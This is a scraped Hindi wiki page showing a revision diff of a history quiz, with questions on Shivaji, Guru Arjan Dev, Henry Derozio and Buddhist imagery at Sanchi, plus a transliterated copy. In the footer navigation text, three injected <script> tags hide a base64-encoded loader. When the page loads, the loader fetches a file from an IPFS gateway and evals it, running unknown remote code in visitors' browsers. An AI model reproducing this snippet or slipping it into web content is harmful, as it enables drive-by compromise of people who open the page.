Difference between revisions of "इतिहास सामान्य ज्ञान 560"

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-[[अकबर]]
 
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-[[बालाजी बाजीराव]]
 
-[[बालाजी बाजीराव]]
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||[[चित्र:Shivaji-1.jpg|border|100px|right|शिवाजी]]शिवाजी पश्चिमी भारत के [[मराठा साम्राज्य]] के संस्थापक थे। उनके [[पिता]] का नाम [[शाहजी भोंसले]] और [[माता]] का नाम [[जीजाबाई]] था। सेनानायक के रूप में [[शिवाजी]] की महानता निर्विवाद रही है। शिवाजी ने अनेक क़िलों का निर्माण और पुनरुद्धार करवाया। उनके निर्देशानुसार सन 1679 में अन्नाजी दत्तों ने एक विस्तृत भू-सर्वेक्षण करवाया, जिसके परिणामस्वरूप एक नया राजस्व निर्धारण हुआ। शिवाजी प्रभावशाली कुलीनों के वंशज थे। उस समय [[भारत]] पर [[मुस्लिम]] शासन था। उत्तरी भारत में मुग़लों तथा दक्षिण में [[बीजापुर]] और [[गोलकुंडा]] में मुस्लिम सुल्तानों का, ये तीनों ही अपनी शक्ति के ज़ोर पर शासन करते थे और प्रजा के प्रति कर्तव्य की भावना नहीं रखते थे। शिवाजी की पैतृक जायदाद बीजापुर के सुल्तान द्वारा शासित दक्कन में थी। उन्होंने मुस्लिमों द्वारा किए जा रहे दमन और धार्मिक उत्पीड़न को इतना असहनीय पाया कि 16 वर्ष की आयु तक पहुँचते-पहुँचते उन्हें विश्वास हो गया कि हिन्दुओं की मुक्ति के लिए ईश्वर ने उन्हें नियुक्त किया है।अधिक जानकारी के लिए देखें:-[[शिवाजी]]
  
 
{कौन-सा स्कूल सिर्फ़ [[ब्राह्मण|ब्राह्मणवाद]], जैन और [[बौद्ध धर्म]] की वजह से अपनी [[कला]] के लिए जाना जाता है?
 
{कौन-सा स्कूल सिर्फ़ [[ब्राह्मण|ब्राह्मणवाद]], जैन और [[बौद्ध धर्म]] की वजह से अपनी [[कला]] के लिए जाना जाता है?
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-[[गुरु रामदास]]
 
-[[गुरु रामदास]]
 
+[[गुरु अर्जुन देव]]
 
+[[गुरु अर्जुन देव]]
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||[[चित्र:Guru-Arjun-Dev.jpg|border|100px|right|गुरु अर्जन देव]]गुरु अर्जन देव सिक्खों के पाँचवें गुरु थे। वे [[1 सितम्बर]], 1581 में गद्दी पर बैठे। [[गुरु अर्जन देव]] का कई दृष्टियों से [[सिक्ख]] गुरुओं में विशिष्ट स्थान है। '[[गुरु ग्रंथ साहब]]' आज जिस रूप में उपलब्ध है, उसका संपादन इन्होंने ही किया था। गुरु अर्जन देव सिक्खों के परम पूज्य चौथे [[गुरु रामदास]] के पुत्र थे। [[गुरु नानक]] से लेकर गुरु रामदास तक के चार गुरुओं की वाणी के साथ-साथ उस समय के अन्य संत महात्माओं की वाणी को भी इन्होंने 'गुरु ग्रंथ साहब' में स्थान दिया। गुरु अर्जन देव के स्वयं के लगभग दो हज़ार शब्द गुरु ग्रंथ साहब में संकलित हैं। उनकी रचना 'सुषमनपाठ' का सिक्ख नित्य पारायण करते हैं।अधिक जानकारी के लिए देखें:-[[गुरु अर्जन देव]]
  
 
{‘युवा बंगाल आंदोलन’ के नेता कौन थे?
 
{‘युवा बंगाल आंदोलन’ के नेता कौन थे?
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+[[हेनरी विवियन डेरोजियो]]
 
+[[हेनरी विवियन डेरोजियो]]
 
-डेविड डेयर
 
-डेविड डेयर
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||'हेनरी लुई विवियन देरोजियो' का जन्म [[पुर्तग़ाली]] भारतीय [[परिवार]] में सन [[1809]] में कलकत्ता (वर्तमान [[कोलकाता]]) में हुआ था। उन्होंने अपने [[पिता]] के कार्यालय में एक क्लर्क की हैसियत से कार्य करना आरम्भ किया। बाद में वह अध्यापक और पत्रकार बन गये। सन [[1826]] में [[हेनरी लुई विवियन देरोजियो]] कलकत्ता के हिन्दू कालेज में अध्यापक नियुक्त हुये, किन्तु [[अप्रैल]] [[1831]] में उन्हें इस्तीफा देने के लिए बाध्य किया गया। अपने पाँच वर्षों के अध्यापन काल में हिन्दू कालेज के छात्रों पर हेनरी लुई विवियन देरोजियो का असाधारण प्रभाव जम गया। छात्रों के माध्यम से [[बंगाल]] के नौ-जवानों को भी उन्होंने प्रभावित किया, जिनमें अधिकांश स्वतंत्र चिंतक बन गए और 'युवा बंगाल' के नाम से पुकारे जाने लगे।अधिक जानकारी के लिए देखें:-[[हेनरी लुई विवियन देरोजियो]]
  
 
{निम्न में से किस स्थान पर [[बुद्ध]] को एक मनुष्य के रूप में कभी नहीं दर्शाया गया। केवल या तो दो पैरों के निशान या पहिया के एक प्रतीक के रूप में दिखाया गया था?
 
{निम्न में से किस स्थान पर [[बुद्ध]] को एक मनुष्य के रूप में कभी नहीं दर्शाया गया। केवल या तो दो पैरों के निशान या पहिया के एक प्रतीक के रूप में दिखाया गया था?
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-[[केसरिया, बिहार|केसरिया]]
 
-[[केसरिया, बिहार|केसरिया]]
 
-उपरोक्त सभी
 
-उपरोक्त सभी
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||[[चित्र:Buddha-Stupas.jpg|border|100px|right|बुद्ध स्तूप साँची]]'साँची' [[भारत]] के [[मध्य प्रदेश]] राज्य के रायसेन ज़िले में स्थित एक छोटा सा गांव है। यह [[भोपाल]] से 46 कि.मी. पूर्वोत्तर में तथा [[बेसनगर]] और [[विदिशा]] से 10 कि.मी. की दूरी पर मध्य-प्रदेश के मध्य भाग में है। यहाँ [[बौद्ध]] स्मारक हैं, जो कि तीसरी शताब्दी ई.पू. से बारहवीं शताब्दी के बीच के हैं। यह रायसेन ज़िले की एक नगर पंचायत है। यहीं यह [[स्तूप]] स्थित है। इस स्तूप को घेरे हुए कई तोरण भी हैं। यह प्रेम, शांति, विश्वास और साहस का प्रतीक है। [[साँची]] का स्तूप, [[अशोक|सम्राट अशोक महान्]] ने तीसरी शती, ई.पू. में बनवाया था। इसका केन्द्र, एक सामान्य अर्द्धगोलाकार, ईंट निर्मित ढांचा था, जो कि [[बुद्ध]] के कुछ अवशेषों पर बना था। इसके शिखर पर एक छत्र था, जो कि स्मारक को दिये गये सम्मान का प्रतीक था।अधिक जानकारी के लिए देखें:-[[साँची]], [[बुद्ध]]
 
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Latest revision as of 10:58, 2 November 2023

samany jnan prashnottari
rajyoan ke samany jnan

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  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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2 kaun-sa skool sirf brahmanavad, jain aur bauddh dharm ki vajah se apani kala ke lie jana jata hai?

gaandhar kala vidyalay
kala ka amaravati skool
mathura kala vidyalay
iname se koee bhi nahian

4 ‘yuva bangal aandolan’ ke neta kaun the?

raja ramamohan ray
deveandranath taigor
henari viviyan derojiyo
devid deyar

5 nimn mean se kis sthan par buddh ko ek manushy ke roop mean kabhi nahian darshaya gaya. keval ya to do pairoan ke nishan ya pahiya ke ek pratik ke roop mean dikhaya gaya tha?

saanchi
loriya
kesariya
uparokt sabhi

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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